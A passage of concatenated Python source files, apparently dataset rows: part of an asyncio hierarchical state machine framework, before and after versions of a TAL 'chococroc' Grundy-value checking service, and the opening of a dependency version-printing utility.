It is up to a Spy driver (such as the included VcdSpy)
to implement the Spy.on_*() methods.
The programmer calls Spy.enable_spy(<Spy implementation class>)
to activate the Spy system; otherwise, Spy does nothing.
Therefore, this class is designed so that calling Spy.anything()
is inert unless the application first calls Spy.enable_spy()
"""
_actv_cls = None
@staticmethod
def enable_spy(spy_cls):
"""Sets the Spy to use the given class
and calls its initializer.
"""
Spy._actv_cls = spy_cls
spy_cls.init()
def __getattr__(*args):
"""Returns
1) the enable_spy static method if requested by name, or
2) the attribute from the active class (if active class was set), or
3) a function that swallows any arguments and does nothing.
"""
if args[1] == "enable_spy":
return Spy.enable_spy
if Spy._actv_cls:
return getattr(Spy._actv_cls, args[1])
return lambda *x: None
# Singleton pattern:
# Turn Spy into an instance of itself so __getattribute__ works
# on anyone who calls "import Spy; Spy.foo()"
# This prevents Spy() from creating a new instance
# and gives everyone who calls "import Spy" the same object
Spy = Spy()
class Signal(object):
"""An asynchronous stimulus that triggers reactions.
A unique identifier that, along with a value, specifies an Event.
p. 154
"""
_registry = {} # signame:str to sigid:int
_lookup = [] # sigid:int to signame:str
@staticmethod
def exists(signame):
"""Returns True if signame is in the Signal registry.
"""
return signame in Signal._registry
@staticmethod
def register(signame):
"""Registers the signame if it is not already registered.
Returns the signal number for the signame.
"""
assert type(signame) is str
if signame in Signal._registry:
# TODO: emit warning that signal is already registered
return Signal._registry[signame]
else:
sigid = len(Signal._lookup)
Signal._registry[signame] = sigid
Signal._lookup.append(signame)
Spy.on_signal_register(signame, sigid)
return sigid
def __getattr__(self, signame):
assert type(signame) is str
return Signal._registry[signame]
# Singleton pattern:
# Turn Signal into an instance of itself so getattr works.
# This also prevents Signal() from creating a new instance.
Signal = Signal()
# Register the reserved (system) signals
Signal.register("EMPTY") # 0
Signal.register("ENTRY") # 1
Signal.register("EXIT") # 2
Signal.register("INIT") # 3
Signal.register("TERMINATE") # 4
Signal.register("ERROR") # 5
Event = collections.namedtuple("Event", ["signal", "value"])
Event.__doc__ = """Events are a tuple of (signal, value) that are passed from
one AHSM to another. Signals are defined in each AHSM's source code
by name, but resolve to a unique number. Values are any python value,
including containers that contain even more values. Each AHSM state
(static method) accepts an Event as the parameter and handles the event
based on its Signal."""
# Instantiate the reserved (system) events
Event.EMPTY = Event(Signal.EMPTY, None)
Event.ENTRY = Event(Signal.ENTRY, None)
Event.EXIT = Event(Signal.EXIT, None)
Event.INIT = Event(Signal.INIT, None)
Event.TERMINATE = Event(Signal.TERMINATE, None)
Event.ERROR = Event(Signal.ERROR, None)
# The order of this tuple MUST match their respective signals
Event.reserved = (Event.EMPTY, Event.ENTRY, Event.EXIT, Event.INIT, Event.TERMINATE, Event.ERROR)
def state(func):
"""A decorator that identifies which methods are states.
The presence of the async_hsm_state attr, not the value of the attr,
determines statehood.
The Spy debugging system uses the async_hsm_state attribute
to determine which methods inside a class are actually states.
Other uses of the attribute may come in the future.
"""
@wraps(func)
def func_wrap(self, evt):
result = func(self, evt)
Spy.on_state_handler_called(func_wrap, evt, result)
return result
setattr(func_wrap, "async_hsm_state", True)
return func_wrap
class Hsm(object):
"""A Hierarchical State Machine (HSM).
Full support for hierarchical state nesting.
Guaranteed entry/exit action execution on arbitrary state transitions.
Full support of nested initial transitions.
Support for events with arbitrary parameters.
"""
# Every state handler must return one of these values
RET_HANDLED = 0
RET_IGNORED = 1
RET_TRAN = 2
RET_SUPER = 3
def __init__(self):
"""Sets this Hsm's current state to self.top(), the default state
and stores the given initial state.
"""
# self.state is the Hsm/act's current active state.
# This instance variable references the message handler (method)
# that will be called whenever a message is sent to this Hsm.
# We initialize this to self.top, the default message handler
self.state = self.top
self.state_receiving_dispatch = None
# The terminated flag indicates that this state machine is
# finished. Usually set in the _exit state.
self.terminated = False
#
# The publish_errors flag affects how exceptions raised in this
# HSM are treated. The resulting Event with type Signal.ERROR
# may be published to the framework (if publish_errors is True)
# or placed on the FIFO of this Hsm (if publish_errors is False)
# If the error is publised, it is necessary to use the subscribe
# method to be informed when the error occurs.
self.publish_errors = False
# Async_hsm differs from QP here in that we hardcode
# the initial state to be "_initial"
def _initial(self, event):
"""Raises a NotImplementedError to force the derived class
to implement its own initial state.
"""
raise NotImplementedError
@state
def _exit(self, event):
"""Default exit state handler that sets the terminated attribute of the
state machine. This may be overridden in a user's HSM class. """
sig = event.signal
if sig == Signal.ENTRY:
self.terminated = True
return self.handled(event)
return self.super(self.top)
# Helper functions to process reserved events through the current state
def trig(self, state_func, signal):
return state_func(Event.reserved[signal])
def enter(self, state_func):
return state_func(Event.ENTRY)
def exit(self, state_func):
return state_func(Event.EXIT)
# Other helper functions
def handled(self, event):
return Hsm.RET_HANDLED
def tran(self, nextState):
self.state = getattr(self, nextState) if isinstance(nextState, str) else nextState
return Hsm.RET_TRAN
def super(self, superState):
if superState is None:
self.state = self.top
else:
self.state = getattr(self, superState) if isinstance(superState, str) else superState
return Hsm.RET_SUPER # p. 158
def run_async(self, cor):
# Run an asynchronous task in the coroutine cor and post an ERROR
# event if it throws an exception
async def wrapped_cor():
try:
await cor
except Exception as e:
event = Event(Signal.ERROR, {
"exc": e,
"traceback": traceback.format_exc(),
"location": self.__class__.__name__,
"name": cor.__name__
})
if self.publish_errors:
Framework.publish(event)
else:
self.postFIFO(event)
asyncio.create_task(wrapped_cor())
def top(self, event):
"""This is the default state handler. This handler ignores all signals except for Signal.TERMINATE and
Signal.ERROR. These default actions can be overridden within a user-provided top level state.
The TERMINATE signal causes a transition to the state self._exit.
The ERROR signal does not cause a state transition, but prints a tracback message on the console.
"""
if event.signal == Signal.TERMINATE:
return self.tran(self._exit)
elif event.signal == Signal.ERROR:
print(f"Exception {event.value['exc']}\n{event.value['traceback']}")
return Hsm.RET_HANDLED
# All other events are quietly ignored
return Hsm.RET_IGNORED # p. 165
def _perform_init_chain(self, current):
"""Act on the chain of initializations required starting from current."""
t = current
while self.trig(t if t != self.top else self._initial, Signal.INIT) == Hsm.RET_TRAN:
# The state handles the INIT message and needs to make a transition. The
# "top" state is special in that it does not handle INIT messages, so we
# defer to self._initial in this case
path = [] # Trace the path back to t via superstates
while self.state != t:
path.append(self.state)
self.trig(self.state, Signal.EMPTY)
# Restore the state to the target state
self.state = path[0]
assert len(path) < 32 # MAX_NEST_DEPTH
# Perform ENTRY action for each state from current to the target
path.reverse() # in-place
for s in path:
self.enter(s)
# The target state has now to be checked to see if it responds to the INIT message
t = path[-1] # -1 because path was reversed
return t
def _perform_transition(self, source, target):
# Handle the state transition from source to target in the HSM.
s, t = source, target
path = [t]
if s == t: # Case (a), transition to self
self.exit(s)
self.enter(t)
else:
# Find parent of target
self.trig(t, Signal.EMPTY)
t = self.state # t is now parent of target
if s == t: # Case (b), source is parent of target
self.enter(path[0])
else:
# Find parent of source
self.trig(s, Signal.EMPTY)
if self.state == t: # Case (c), source and target share a parent
self.exit(s)
self.enter(path[0])
else:
if self.state == path[0]: # Case (d), target is parent of source
self.exit(s)
else: # Check if the source is an ancestor of the target (case (e))
lca_found = False
path.append(t) # Populates path[1]
t = self.state # t is now parent of source
# Find and save ancestors of target into path
# until we find the source or hit the top
self.state = path[1]
while self.state != self.top:
self.trig(self.state, Signal.EMPTY)
path.append(self.state)
assert len(path) < 32 # MAX_NEST_DEPTH
if self.state == s:
lca_found = True
break
if lca_found: # This is case (e), enter states to get to target
for st in reversed(path[:-1]):
self.enter(st)
else:
self.exit(s) # Exit the source for cases (f), (g), (h)
self.state = t # Start at parent of the source
while self.state not in path:
# Keep exiting up into superstates until we reach the LCA.
# Depending on whether the EXIT signal is handled, we may also need
# to send the EMPTY signal to make self.state climb to the superstate.
if self.exit(self.state) == Hsm.RET_HANDLED:
self.trig(self.state, Signal.EMPTY)
t = self.state
# Step into children until we enter the target
for st in reversed(path[:path.index(t)]):
self.enter(st)
def init(self):
"""Transitions to the initial state. Follows any INIT transitions
from the inital state and performs ENTRY actions as it proceeds.
Use this to pass any parameters to initialize the state machine.
p. 172
"""
# The initial state MUST transition to another state
self.state = self._perform_init_chain(self.top)
def dispatch(self, event):
"""Dispatches the given event to this Hsm.
Follows the application's state transitions
until the event is handled or top() is reached
p. 174
"""
try:
Spy.on_hsm_dispatch_event(event)
# Save the current state
t = self.state
self.state_receiving_dispatch = t
# Proceed to superstates if event is not handled, we wish to find the superstate
# (if any) that does handle the event and to record the path to that state
exit_path = []
r = Hsm.RET_SUPER
while r == Hsm.RET_SUPER:
s = self.state
exit_path.append(s)
Spy.on_hsm_dispatch_pre(s)
r = s(event) # invoke state handler
# We leave the while loop with s at the state which was able to respond
# to the event, or to self.top if none did
Spy.on_hsm_dispatch_post(exit_path)
# If the state handler for s requests a transition
if r == Hsm.RET_TRAN:
t = self.state
# Store target of transition
# Exit from the current state to the state s which handles
# the transition. We do not exit from s=exit_path[-1] itself.
for st in exit_path[:-1]:
r = self.exit(st)
assert (r == Hsm.RET_SUPER) or (r == Hsm.RET_HANDLED)
s = exit_path[-1]
# Transition to t through the HSM
self._perform_transition(s, t)
# Do initializations starting at t
t = self._perform_init_chain(t)
# Restore the state
self.state = t
self.state_receiving_dispatch = None
except Exception as e:
event = Event(Signal.ERROR, {"exc": e, "traceback": traceback.format_exc(), "location": self.__class__.__name__})
if self.publish_errors:
Framework.publish(event)
else:
self.postFIFO(event)
class Framework(object):
"""Framework is a composite class that holds:
- the asyncio event loop
- the registry of AHSMs
- the set of TimeEvents
- the handle to the next TimeEvent
- the table subscriptions to events
"""
# The event loop is accessed through the get_event_loop method. The private
# attribute __event_loop is initialized the first time get_event_loop is called
# and is subsequently returned by the get_event_loop method
__event_loop = None
# The Framework maintains a registry of Ahsms in a list.
_ahsm_registry = []
# The Framework maintains a dict of priorities in use
# to prevent duplicates.
# An Ahsm's priority is checked against this dict
# within the Ahsm.start() method
# when the Ahsm is added to the Framework.
# The dict's key is the priority (integer) and the value is the Ahsm.
_priority_dict = {}
# The Framework maintains pending TimeEvents in a dict.
# The TimeEvent is the key and the handle to the callback
# is the value. This is useful for cancelling the event if
# necessary. A time event can appear at most once within
# this dictionary, since it cannot be scheduled while it ia
#
# A nonperiodic time event will be removed from
# the dictionary when it expires, whereas periodic TimeEvents
# re-enqueue themselves and update their handles whenever
# they occur.
_time_event_handles = {}
# The Subscriber Table is a dictionary. The keys are signals.
# The value for each key is a list of Ahsms that are subscribed to the
# signal. An Ahsm may subscribe to a signal at any time during runtime.
_subscriber_table = {}
# The terminate event is accessed through the get_terminate_event method. The private
# attribute __terminate_event is initialized the first time get_terminate_event is called
# and is subsequently returned by the get_terminate_event method
# The event is set once all the AHSMs in the framework have set their terminated attribute,
# which is usually done in their _exit states
__terminate_event = None
@staticmethod
def get_event_loop():
# The first time this is called, we get the current event loop and assign it to the
# private variable __event_loop. Subsequently, return this loop. Doing this allows us
# use asyncio.run in conjunction with async_hsm, since asyncio.run creates a new
# event loop, and needs to be run before we try to call get_event_loop
if Framework.__event_loop is None:
Framework.__event_loop = asyncio.get_event_loop()
# try:
# Framework.__event_loop.add_signal_handler(signal.SIGINT, lambda: Framework.stop())
# Framework.__event_loop.add_signal_handler(signal.SIGTERM, lambda: Framework.stop())
# Framework.__event_loop.add_signal_handler(29, Framework.print_info)
# except NotImplementedError:
# pass
return Framework.__event_loop
@staticmethod
def get_terminate_event():
# The first time this is called, we get the current event loop and assign it to the
# private variable __event_loop. Subsequently, return this loop. Doing this allows us
# use asyncio.run in conjunction with async_hsm, since asyncio.run creates a new
# event loop, and needs to be run before we try to call get_event_loop
if Framework.__terminate_event is None:
Framework.__terminate_event = asyncio.Event()
return Framework.__terminate_event
@staticmethod
def post(event, act):
"""Posts the event to the given Ahsm's event queue.
The argument, act, is an Ahsm instance.
"""
assert isinstance(act, Ahsm)
act.postFIFO(event)
@staticmethod
def post_by_name(event, act_name):
"""Posts the event to the given Ahsm's event queue.
The argument, act, is a string of the name of the class
to which the event is sent. The event will post to all actors
having the given classname.
"""
assert type(act_name) is str
for act in Framework._ahsm_registry:
if act.__class__.__name__ == act_name:
act.postFIFO(event)
@staticmethod
def publish(event):
"""Posts the event to the message queue of every Ahsm
that is subscribed to the event's signal.
"""
if event.signal in Framework._subscriber_table:
for act in Framework._subscriber_table[event.signal]:
act.postFIFO(event)
# Run to completion
Framework.get_event_loop().call_soon_threadsafe(Framework.run)
@staticmethod
def subscribe(signame, act):
"""Adds the given Ahsm to the subscriber table list
for the given signal. The argument, signame, is a string of the name
of the Signal to which the Ahsm is subscribing. Using a string allows
the Signal to be created in the registry if it is not already.
"""
sigid = Signal.register(signame)
if sigid not in Framework._subscriber_table:
Framework._subscriber_table[sigid] = []
Framework._subscriber_table[sigid].append(act)
@staticmethod
def addTimeEvent(tm_event, delta):
"""Adds the TimeEvent to the collection of time events in the Framework.
The event will fire its signal (to the TimeEvent's target Ahsm)
after the delay, delta.
"""
expiration = Framework.get_event_loop().time() + delta
Framework.addTimeEventAt(tm_event, expiration)
@staticmethod
def addTimeEventAt(tm_event, abs_time):
"""Adds the TimeEvent to the collection of time events in the Framework.
The event will fire its signal (to the TimeEvent's target Ahsm)
at the given absolute time (Framework.get_event_loop().time()).
"""
assert tm_event not in Framework._time_event_handles
Framework._scheduleTimeEvent(tm_event, abs_time)
@staticmethod
def _scheduleTimeEvent(tm_event, expiration):
"""Schedule the TimeEvent using call_at
"""
Framework._time_event_handles[tm_event] = Framework.get_event_loop().call_at(expiration, Framework.timeEventCallback,
tm_event, expiration)
@staticmethod
def removeTimeEvent(tm_event):
"""Removes the TimeEvent from the dictionary of active time events, cancelling
it if it is pending
"""
if tm_event in Framework._time_event_handles:
Framework._time_event_handles[tm_event].cancel()
del Framework._time_event_handles[tm_event]
@staticmethod
def timeEventCallback(tm_event, expiration):
"""The callback function for all TimeEvents.
Posts the event to the event's target Ahsm.
If the TimeEvent is periodic, reschedule its next occurrence.
"""
assert tm_event in Framework._time_event_handles, ("Exp:%f _time_event_handles.keys():%s" %
(expiration, Framework._time_event_handles.keys()))
# Remove this expired TimeEvent from the dictionary
del Framework._time_event_handles[tm_event]
# Post the event to the target Ahsm
tm_event.act.postFIFO(tm_event)
# If this is a periodic time event, schedule its next expiration
if tm_event.interval > 0:
Framework._scheduleTimeEvent(tm_event, expiration + tm_event.interval)
# Run to completion
Framework.get_event_loop().call_soon_threadsafe(Framework.run)
@staticmethod
def add(act):
"""Makes the framework aware of the given Ahsm.
"""
Framework._ahsm_registry.append(act)
assert act.priority not in Framework._priority_dict, ("Priority MUST be unique")
Framework._priority_dict[act.priority] = act
Spy.on_framework_add(act)
@staticmethod
def run():
"""Dispatches an event to the highest priority Ahsm
until all event queues are empty (i.e. Run To Completion).
If any exception occurs in the state handler functions called
while performing ``dispatch``, post the ERROR event on the FIFO
of the state machine, with information about the exception, a traceback
and the class name in which the exception occured, so that it can be
dealt with appropriately.
"""
def getPriority(x):
return x.priority
while True:
allQueuesEmpty = True
sorted_acts = sorted(Framework._ahsm_registry, key=getPriority)
terminate = True
for act in sorted_acts:
if act.terminated:
continue
terminate = False
if act.has_msgs():
event_next = act.pop_msg()
act.dispatch(event_next)
allQueuesEmpty = False
break
if terminate:
Framework.get_terminate_event().set()
if allQueuesEmpty:
return
@staticmethod
def stop():
"""EXITs all Ahsms and sets the _terminate_event flag.
"""
# Disable the timer callback
for tm_event in Framework._time_event_handles:
Framework._time_event_handles[tm_event].cancel()
# Post TERMINATE to all Ahsms so they execute their EXIT handler
for act in Framework._ahsm_registry:
Framework.post(Event.TERMINATE, act)
# Run to completion so each Ahsm will process SIGTERM
Framework.run()
Framework.get_terminate_event().set()
# Framework.get_event_loop().stop()
# Spy.on_framework_stop()
@staticmethod
def get_info():
"""Gets the name and current state
of each actor in the framework.
"""
result = {}
for act in Framework._ahsm_registry:
if act.state_receiving_dispatch is not None:
result[act.__class__.__name__] = {
"state_handling_event": act.state.__name__,
"state_receiving_dispatch": act.state_receiving_dispatch.__name__
}
else:
result[act.__class__.__name__] = {"state": act.state.__name__}
return result
@staticmethod
def print_info():
"""Prints the name and current state
of each actor in the framework.
Meant to be called when ctrl+T (SIGINFO/29) is issued.
"""
info_dict = Framework.get_info()
for actor in info_dict:
print(actor, info_dict[actor])
signal.signal(signal.SIGINT, lambda *args: Framework.stop())
signal.signal(signal.SIGTERM, lambda *args: Framework.stop())
@staticmethod
async def done():
"""Await this coroutine to wait for all state machines to terminate. This is written
as a loop so that CTRL-C in Windows will be acted upon"""
while True:
if Framework.get_terminate_event().is_set():
break
await asyncio.sleep(0.5)
class Ahsm(Hsm):
"""An Augmented Hierarchical State Machine (AHSM); a.k.a. ActiveObject/AO.
Adds a priority, message queue and methods to work with the queue.
"""
def start(self, priority):
# must set the priority before Framework.add() which uses the priority
self.priority = priority
Framework.add(self)
self.mq = collections.deque()
try:
self.init()
except Exception as e:
event = Event(Signal.ERROR, {"exc": e, "traceback": traceback.format_exc(), "location": self.__class__.__name__})
if self.publish_errors:
Framework.publish(event)
else:
self.postFIFO(event)
# Run to completion
Framework.get_event_loop().call_soon_threadsafe(Framework.run)
def postLIFO(self, evt):
self.mq.append(evt)
def postFIFO(self, evt):
self.mq.appendleft(evt)
def pop_msg(self, ):
return self.mq.pop()
def has_msgs(self, ):
return len(self.mq) > 0
class Factory(Ahsm):
_handled_signals = {}
_parents = {}
def __init__(self):
super().__init__()
@classmethod
def _add_catch(cls, state_name, signal_name, handler_name):
cls._handled_signals[state_name][signal_name] = handler_name
@classmethod
def _build_initial(cls, initial_state, setup, signal_list):
def _initial(self, event):
if setup:
getattr(self, setup)()
for sig in signal_list:
Framework.subscribe(sig, self)
return self.tran(initial_state)
handler = state(copy(_initial))
handler.__name__ = "_initial"
handler.__qualname__ = handler.__name__
handler.__module__ = cls.__module__
setattr(cls, "_initial", handler)
@classmethod
def _build_state(cls, name, parent):
def state_handler(self, event):
sig_name = Signal._lookup[event.signal]
if sig_name in cls._handled_signals[name]:
event_handler = getattr(self, cls._handled_signals[name][sig_name])
ret_val = event_handler(event)
if ret_val is not None:
return ret_val
return self.super(parent)
handler = state(copy(state_handler))
handler.__name__ = name
handler.__qualname__ = handler.__name__
handler.__module__ = cls.__module__
setattr(cls, name, handler)
cls._handled_signals[name] = {}
cls._parents[name] = parent
@classmethod
def build_hsm(cls, descr):
cls._handled_signals = {}
cls._parents = {}
# Build the _initial method
cls._build_initial(descr.initial, descr.setup, descr.signals)
for state in descr.states:
cls._build_state(state.name, state.parent)
for catch in state.catches:
cls._add_catch(state.name, catch.signal, catch.handler)
class TimeEvent(object):
"""TimeEvent is a composite class that contains an Event.
A TimeEvent is created by the application and added to the Framework.
The Framework then emits the event after the given delay.
A one-shot TimeEvent is created by calling either postAt() or postIn().
A periodic TimeEvent is created by calling the postEvery() method.
"""
def __init__(self, signame):
assert type(signame) == str
self.signal = Signal.register(signame)
self.value = None
def postAt(self, act, abs_time):
"""Posts this TimeEvent to the given Ahsm at a specified time.
"""
assert issubclass(type(act), Ahsm)
self.act = act
self.interval = 0
Framework.addTimeEventAt(self, abs_time)
def postIn(self, act, delta):
"""Posts this TimeEvent to the given Ahsm after the time delta.
"""
assert issubclass(type(act), Ahsm)
self.act = act
self.interval = 0
Framework.addTimeEvent(self, delta)
def postEvery(self, act, delta):
"""Posts this TimeEvent to the given Ahsm after the time delta
and every time delta thereafter until disarmed.
"""
assert issubclass(type(act), Ahsm)
self.act = act
self.interval = delta
Framework.addTimeEvent(self, delta)
def disarm(self):
"""Removes this TimeEvent from the Framework's active time events.
"""
self.act = None
Framework.removeTimeEvent(self) |
#!/usr/bin/env python3
import sys
from TALinputs import TALinput
from multilanguage import Env, Lang, TALcolors
import chococroc_lib as cl
# METADATA OF THIS TAL_SERVICE:
problem="chococroc"
service="check_game_value"
args_list = [
('m',int),
('n',int),
('value',int),
('silent',bool)
]
ENV =Env(args_list)
TAc =TALcolors(ENV)
LANG=Lang(ENV, TAc, lambda fstring: eval(f"f'{fstring}'"))
# START CODING YOUR SERVICE:
grundy_val = cl.grundy_val(ENV['m'], ENV['n'])
#print(f"grundy_val={grundy_val}")
if ENV['value'] == -2:
if grundy_val == 0:
TAc.NO()
TAc.print(LANG.render_feedback("not-a-winning-conf", f'Contrary to your conjecture, the configuration {ENV["m"]} x {ENV["n"]} is NOT a winning one.'), "red")
TAc.print(LANG.render_feedback("not-a-winning-conf-wanna-play", f'You can check this out playing a game against our service \'play\', starting first on configuration {ENV['m']} x {ENV['n']}. If you succeed winning then you disprove our claim or the optimality of our player (either way, let us know).'), "yellow", ["bold"])
elif not ENV['silent']:
TAc.OK()
TAc.print(LANG.render_feedback("ok-winning-conf", f'We agree with your conjecture that the configuration {ENV["m"]} x {ENV["n"]} is a winning one.'), "green", ["bold"])
if ENV['value'] == -1:
if grundy_val != 0:
TAc.NO()
TAc.print(LANG.render_feedback("not-a-lost-conf", f'Contrary to your conjecture, the configuration {ENV["m"]} x {ENV["n"]} is NOT a lost one.'), "red")
TAc.print(LANG.render_feedback("not-a-lost-conf-wanna-play", f'You can check this out playing a game against our service \'play\', playing as second a game starting from configuration {ENV['m']} x {ENV['n']}. If you succeed winning then you disprove our claim or the optimality of our player (either way, let us know).'), "yellow", ["bold"])
elif not ENV['silent']:
TAc.OK()
TAc.print(LANG.render_feedback("ok-lost-conf", f'We agree with your conjecture that the configuration {ENV["m"]} x {ENV["n"]} is a lost one.'), "green", ["bold"])
if ENV['value'] >= 0:
if grundy_val != ENV['value']:
TAc.NO()
TAc.print(LANG.render_feedback("wrong-grundy-val", f'Contrary to your conjecture, the grundy value of configuration {ENV['m']} x {ENV['n']} is NOT {ENV['value']}.'), "red")
if grundy_val * ENV['value'] != 0:
TAc.print(LANG.render_feedback("wrong-grundy-val-play", f'You can check this out playing a game against our service \'play_val_measuring_game\', starting second on configuration (chocolate_bar={ENV['m']} x {ENV['n']}, single_NIM_tower={ENV['value']}). If you succeed winning then you disprove our claim or the optimality of our player (either way, let us know).'), "yellow", ["bold"])
elif grundy_val == 0:
TAc.print(LANG.render_feedback("not-a-winning-conf", f'Contrary to your conjecture, the configuration {ENV["m"]} x {ENV["n"]} is NOT a winning one.'), "red")
TAc.print(LANG.render_feedback("not-a-winning-conf-wanna-play", f'You can check this out playing a game against our service \'play\', starting first on configuration {ENV['m']} x {ENV['n']}. If you succeed winning then you disprove our claim or the optimality of our player (either way, let us know).'), "yellow", ["bold"])
else:
TAc.print(LANG.render_feedback("not-a-lost-conf", f'Contrary to your conjecture, the configuration {ENV["m"]} x {ENV["n"]} is NOT a lost one.'), "red")
TAc.print(LANG.render_feedback("not-a-lost-conf-wanna-play", f'You can check this out playing a game against our service \'play\', playing as second a game starting from configuration {ENV['m']} x {ENV['n']}. If you succeed winning then you disprove our claim or the optimality of our player (either way, let us know).'), "yellow", ["bold"])
elif not ENV['silent']:
TAc.OK()
TAc.print(LANG.render_feedback("ok-grundy-val", f'We agree with your conjecture that the configuration {ENV['m']} x {ENV['n']} has grundy value {grundy_val}.'), "green", ["bold"])
exit(0)
| #!/usr/bin/env python3
import sys
from TALinputs import TALinput
from multilanguage import Env, Lang, TALcolors
import chococroc_lib as cl
# METADATA OF THIS TAL_SERVICE:
problem="chococroc"
service="check_game_value"
args_list = [
('m',int),
('n',int),
('value',int),
('silent',bool)
]
ENV =Env(args_list)
TAc =TALcolors(ENV)
LANG=Lang(ENV, TAc, lambda fstring: eval(f"f'{fstring}'"))
# START CODING YOUR SERVICE:
grundy_val = cl.grundy_val(ENV['m'], ENV['n'])
#print(f"grundy_val={grundy_val}")
if ENV['value'] == -2:
if grundy_val == 0:
TAc.NO()
TAc.print(LANG.render_feedback("not-a-winning-conf", f'Contrary to your conjecture, the configuration {ENV["m"]} x {ENV["n"]} is NOT a winning one.'), "red")
TAc.print(LANG.render_feedback("not-a-winning-conf-wanna-play", f'You can check this out playing a game against our service \'play\', starting first on configuration {ENV["m"]} x {ENV["n"]}. If you succeed winning then you disprove our claim or the optimality of our player (either way, let us know).'), "yellow", ["bold"])
elif not ENV['silent']:
TAc.OK()
TAc.print(LANG.render_feedback("ok-winning-conf", f'We agree with your conjecture that the configuration {ENV["m"]} x {ENV["n"]} is a winning one.'), "green", ["bold"])
if ENV['value'] == -1:
if grundy_val != 0:
TAc.NO()
TAc.print(LANG.render_feedback("not-a-lost-conf", f'Contrary to your conjecture, the configuration {ENV["m"]} x {ENV["n"]} is NOT a lost one.'), "red")
TAc.print(LANG.render_feedback("not-a-lost-conf-wanna-play", f'You can check this out playing a game against our service \'play\', playing as second a game starting from configuration {ENV["m"]} x {ENV["n"]}. If you succeed winning then you disprove our claim or the optimality of our player (either way, let us know).'), "yellow", ["bold"])
elif not ENV['silent']:
TAc.OK()
TAc.print(LANG.render_feedback("ok-lost-conf", f'We agree with your conjecture that the configuration {ENV["m"]} x {ENV["n"]} is a lost one.'), "green", ["bold"])
if ENV['value'] >= 0:
if grundy_val != ENV['value']:
TAc.NO()
TAc.print(LANG.render_feedback("wrong-grundy-val", f'Contrary to your conjecture, the grundy value of configuration {ENV["m"]} x {ENV["n"]} is NOT {ENV["value"]}.'), "red")
if grundy_val * ENV['value'] != 0:
TAc.print(LANG.render_feedback("wrong-grundy-val-play", f'You can check this out playing a game against our service \'play_val_measuring_game\', starting second on configuration (chocolate_bar={ENV["m"]} x {ENV["n"]}, single_NIM_tower={ENV["value"]}). If you succeed winning then you disprove our claim or the optimality of our player (either way, let us know).'), "yellow", ["bold"])
elif grundy_val == 0:
TAc.print(LANG.render_feedback("not-a-winning-conf", f'Contrary to your conjecture, the configuration {ENV["m"]} x {ENV["n"]} is NOT a winning one.'), "red")
TAc.print(LANG.render_feedback("not-a-winning-conf-wanna-play", f'You can check this out playing a game against our service \'play\', starting first on configuration {ENV["m"]} x {ENV["n"]}. If you succeed winning then you disprove our claim or the optimality of our player (either way, let us know).'), "yellow", ["bold"])
else:
TAc.print(LANG.render_feedback("not-a-lost-conf", f'Contrary to your conjecture, the configuration {ENV["m"]} x {ENV["n"]} is NOT a lost one.'), "red")
TAc.print(LANG.render_feedback("not-a-lost-conf-wanna-play", f'You can check this out playing a game against our service \'play\', playing as second a game starting from configuration {ENV["m"]} x {ENV["n"]}. If you succeed winning then you disprove our claim or the optimality of our player (either way, let us know).'), "yellow", ["bold"])
elif not ENV['silent']:
TAc.OK()
TAc.print(LANG.render_feedback("ok-grundy-val", f'We agree with your conjecture that the configuration {ENV["m"]} x {ENV["n"]} has grundy value {grundy_val}.'), "green", ["bold"])
exit(0)
|
"""Utility functions for printing version information.
The original script is from
`xarray <https://github.com/pydata/xarray/blob/master/xarray/util/print_versions.py>`__
"""
import importlib
import locale
import os
import platform
import struct
import subprocess
import sys
from types import ModuleType
from typing import List, Optional, TextIO, Tuple
__all__ = ["show_versions"]
def get_sys_info() -> List[Tuple[str, Optional[str]]]:
"""Return system information as a dict.
From https://github.com/numpy/numpy/blob/master/setup.py#L64-L89
Returns
-------
list
System information such as python version.
"""
blob = []
def _minimal_ext_cmd(cmd: List[str]) -> bytes:
# construct minimal environment
env = {}
for k in ["SYSTEMROOT", "PATH", "HOME"]:
v = os.environ.get(k)
if v is not None:
env[k] = v
# LANGUAGE is used on win32
env["LANGUAGE"] = "C"
env["LANG"] = "C"
env["LC_ALL"] = "C"
out = subprocess.check_output(cmd, stderr=subprocess.STDOUT, env=env)
return out
commit = None
try:
out = _minimal_ext_cmd(["git", "rev-parse", "HEAD"])
commit = out.strip().decode("ascii")
except (subprocess.SubprocessError, OSError):
pass
blob.append(("commit", commit))
(sysname, _, release, _, machine, processor) = platform.uname()
blob.extend(
[
("python", sys.version),
("python-bits", f"{struct.calcsize("P") * 8}"),
("OS", f"{sysname}"),
("OS-release", f"{release}"),
("machine", f"{machine}"),
("processor", f"{processor}"),
("byteorder", f"{sys.byteorder}"),
("LC_ALL", f'{os.environ.get('LC_ALL', 'None')}'),
("LANG", f'{os.environ.get('LANG', 'None')}'),
("LOCALE", ".".join(str(i) for i in locale.getlocale())),
],
)
blob.extend(netcdf_and_hdf5_versions())
return blob
def netcdf_and_hdf5_versions() -> List[Tuple[str, Optional[str]]]:
libhdf5_version = None
libnetcdf_version = None
try:
import netCDF4
libhdf5_version = netCDF4.__hdf5libversion__
libnetcdf_version = netCDF4.__netcdf4libversion__
except (ImportError, AttributeError):
try:
import h5py
libhdf5_version = h5py.version.hdf5_version
except (ImportError, AttributeError):
pass
return [("libhdf5", libhdf5_version), ("libnetcdf", libnetcdf_version)]
def show_versions(file: TextIO = sys.stdout) -> None:
"""Print versions of all the dependencies.
Parameters
----------
file : file-like, optional
print to the given file-like object. Defaults to sys.stdout.
"""
deps = [
# async_retriever
("async-retriever", lambda mod: mod.__version__),
("aiodns", lambda mod: mod.__version__),
("aiohttp", lambda mod: mod.__version__),
("aiohttp-client-cache", lambda mod: mod.__version__),
("aiosqlite", lambda mod: mod.__version__),
("brotli", lambda mod: mod.__version__),
("cchardet", lambda mod: mod.__version__),
("cytoolz", lambda mod: mod.__version__),
("ujson", lambda mod: mod.__version__),
# pygeoogc
("pygeoogc", lambda mod: mod.__version__),
("defusedxml", lambda mod: mod.__version__),
("owslib", lambda mod: mod.__version__),
("pydantic", lambda mod: mod.version.VERSION),
("yaml", lambda mod: mod.__version__),
("pyproj", lambda mod: mod.__version__),
("requests", lambda mod: mod.__version__),
("requests-cache", lambda mod: mod.__version__),
("shapely", lambda mod: mod.__version__),
("urllib3", lambda mod: mod.__version__),
# pygeoutils
("pygeoutils", lambda mod: mod.__version__),
("dask", lambda mod: mod.__version__),
("geopandas", lambda mod: mod.__version__),
("netCDF4", lambda mod: mod.__version__),
("numpy", lambda mod: mod.__version__),
("rasterio", lambda mod: mod.__version__),
("xarray", lambda mod: mod.__version__),
("rioxarray", lambda mod: mod.__version__),
